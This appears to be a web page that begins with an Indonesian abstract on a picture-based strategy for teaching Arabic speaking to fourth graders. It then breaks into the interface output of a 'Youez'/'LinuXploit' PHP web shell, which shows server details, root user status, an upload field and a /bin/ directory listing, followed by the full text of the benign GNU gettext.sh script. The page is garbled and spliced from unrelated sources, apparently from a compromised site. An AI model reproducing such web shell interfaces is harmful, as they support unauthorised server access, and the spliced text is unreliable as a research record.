Efektivitas Strategi Ta’bir Mushawwar dalam Pembelajaran Bahasa Arab di Madrasah Ibtidaiyah
Abstract
Speaking proficiency is one of the main skills in Arabic language learning, but fourth grade students of MI TPI Keramat face difficulties in assembling mufradat and practicing active conversation, mainly due to the lack of varied learning strategies. This study aims to analyze the effectiveness of the ta'bir mushawwar strategy, which uses picture as a media to facilitate students in constructing sentences and telling stories, in improving Arabic speaking skills. With a quantitative approach and pre-experiment design, this study involved 18 students of class IV-C. Data were collected through tests, observations, and interviews, then analyzed descriptively and N-Gain test. The posttest average was 83.06 (very good category) with 88.9% completeness, and the N-Gain score was 0.6398 which showed effectiveness in the medium category. The ta'bir mushawwar strategy offers a solution in the form of a visual and hands-on learning approach that can significantly improve students' speaking skills and make learning more interesting and interactive.
Server IP : 103.175.217.176 / Your IP : 18.226.17.251 Web Server : Apache/2.4.62 (Debian) System : Linux bilfathvps 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64 User : root ( 0) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /bin/ |
Upload File : |
#! /bin/sh # # Copyright (C) 2003, 2005-2007, 2011, 2018-2020 Free Software Foundation, Inc. # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Lesser General Public License as published by # the Free Software Foundation; either version 2.1 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public License # along with this program. If not, see <https://www.gnu.org/licenses/>. # # Find a way to echo strings without interpreting backslash. if test "X`(echo '\t') 2>/dev/null`" = 'X\t'; then echo='echo' else if test "X`(printf '%s\n' '\t') 2>/dev/null`" = 'X\t'; then echo='printf %s\n' else echo_func () { cat <<EOT $* EOT } echo='echo_func' fi fi # This script is primarily a shell function library. In order for # ". gettext.sh" to find it, we install it in $PREFIX/bin (that is usually # contained in $PATH), rather than in some other location such as # $PREFIX/share/sh-scripts or $PREFIX/share/gettext. In order to not violate # the Filesystem Hierarchy Standard when doing so, this script is executable. # Therefore it needs to support the standard --help and --version. if test -z "${ZSH_VERSION+set}"; then # zsh is not POSIX compliant: By default, while ". gettext.sh" is executed, # it sets $0 to "gettext.sh", defeating the purpose of this test. But # fortunately we know that when running under zsh, this script is always # being sourced, not executed, because hardly anyone is crazy enough to # install zsh as /bin/sh. case "$0" in gettext.sh | */gettext.sh | *\\gettext.sh) progname=$0 package=gettext-runtime version=0.21 # func_usage # outputs to stdout the --help usage message. func_usage () { echo "GNU gettext shell script function library version $version" echo "Usage: . gettext.sh" } # func_version # outputs to stdout the --version message. func_version () { echo "$progname (GNU $package) $version" echo "Copyright (C) 2003-2020 Free Software Foundation, Inc. License GPLv2+: GNU GPL version 2 or later <https://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law." echo "Written by" "Bruno Haible" } if test $# = 1; then case "$1" in --help | --hel | --he | --h ) func_usage; exit 0 ;; --version | --versio | --versi | --vers | --ver | --ve | --v ) func_version; exit 0 ;; esac fi func_usage 1>&2 exit 1 ;; esac fi # eval_gettext MSGID # looks up the translation of MSGID and substitutes shell variables in the # result. eval_gettext () { gettext "$1" | (export PATH `envsubst --variables "$1"`; envsubst "$1") } # eval_ngettext MSGID MSGID-PLURAL COUNT # looks up the translation of MSGID / MSGID-PLURAL for COUNT and substitutes # shell variables in the result. eval_ngettext () { ngettext "$1" "$2" "$3" | (export PATH `envsubst --variables "$1 $2"`; envsubst "$1 $2") } # eval_pgettext MSGCTXT MSGID # looks up the translation of MSGID in the context MSGCTXT and substitutes # shell variables in the result. eval_pgettext () { gettext --context="$1" "$2" | (export PATH `envsubst --variables "$2"`; envsubst "$2") } # eval_npgettext MSGCTXT MSGID MSGID-PLURAL COUNT # looks up the translation of MSGID / MSGID-PLURAL for COUNT in the context # MSGCTXT and substitutes shell variables in the result. eval_npgettext () { ngettext --context="$1" "$2" "$3" "$4" | (export PATH `envsubst --variables "$2 $3"`; envsubst "$2 $3") } # Note: This use of envsubst is much safer than using the shell built-in 'eval' # would be. # 1) The security problem with Chinese translations that happen to use a # character such as \xe0\x60 is avoided. # 2) The security problem with malevolent translators who put in command lists # like "$(...)" or "`...`" is avoided. # 3) The translations can only refer to shell variables that are already # mentioned in MSGID or MSGID-PLURAL. # # Note: "export PATH" above is a dummy; this is for the case when # `envsubst --variables ...` returns nothing. # # Note: In eval_ngettext above, "$1 $2" means a string whose variables set is # the union of the variables set of "$1" and "$2". # # Note: The minimal use of backquote above ensures that trailing newlines are # not dropped, not from the gettext invocation and not from the value of any # shell variable. # # Note: Field splitting on the `envsubst --variables ...` result is desired, # since envsubst outputs the variables, separated by newlines. Pathname # wildcard expansion or tilde expansion has no effect here, since the words # output by "envsubst --variables ..." consist solely of alphanumeric # characters and underscore.
Youez - 2016 - github.com/yon3zu
LinuXploit